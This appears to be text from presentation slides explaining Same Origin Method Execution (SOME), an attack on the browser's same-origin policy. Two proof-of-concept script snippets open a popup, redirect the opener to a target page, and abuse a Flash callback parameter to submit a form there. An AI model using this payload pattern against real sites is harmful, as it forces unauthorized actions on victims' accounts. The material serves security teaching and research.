Not Many
Not Few
SOME
SOP
"The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin."
<script>
function startSOME() {
window.open("step1.html");
location.replace("http://www.vulnerable-domain.com/privateAlbum");
}
document.body.addEventListener("click",startSOME); //Popup Blocker trick
</script>
<script>
function waitForDOM() {
location.replace("http://www.vulnerable-domain.com/flash-plugin.swf?callback=opener.document.body.privateAlbum.firstChild.nextElementSibling.submit");
}
setTimeout(waitForDOM,3000);
</script>
Main
Popup
"web browsers would not delete memory references to other window objects post-redirection"